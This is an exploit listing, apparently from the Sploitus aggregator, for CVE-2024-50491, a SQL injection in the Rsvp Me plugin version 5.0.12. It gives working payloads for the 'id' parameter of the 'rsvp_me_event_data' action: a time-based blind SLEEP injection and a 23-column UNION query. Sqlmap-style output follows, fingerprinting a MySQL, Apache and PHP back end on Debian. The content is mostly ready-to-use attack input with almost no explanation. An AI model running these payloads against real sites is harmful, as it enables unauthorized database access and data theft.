Sploitus

Exploit for SQL Injection in Micahblu Rsvp Me

CVE-2024-50491

githubexploit · 2025-01-12

Exploit Code

README16 lines
## https://sploitus.com/exploit?id=151BC80D-0EB8-58E8-A280-53D99F2C3B93
# CVE-2024-50491
RSVP ME = 5.0.12 AND time-based blind (query SLEEP)
    Payload: action=rsvp_me_event_data&id=154 AND (SELECT 1261 FROM (SELECT(SLEEP(5)))YwBv)

    Type: UNION query
    Title: Generic UNION query (NULL) - 23 columns
    Payload: action=rsvp_me_event_data&id=-3481 UNION ALL SELECT CONCAT(0x7170787171,0x6953774e714b47695a61655a6772544779464c4e45707849647a4c78706f6d744e4e7067646c7463,0x717a627171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[07:25:38] [INFO] testing MySQL
[07:25:38] [INFO] confirming MySQL
[07:25:38] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.59, PHP 8.2.21, PHP
back-end DBMS: MySQL >= 8.0.0
```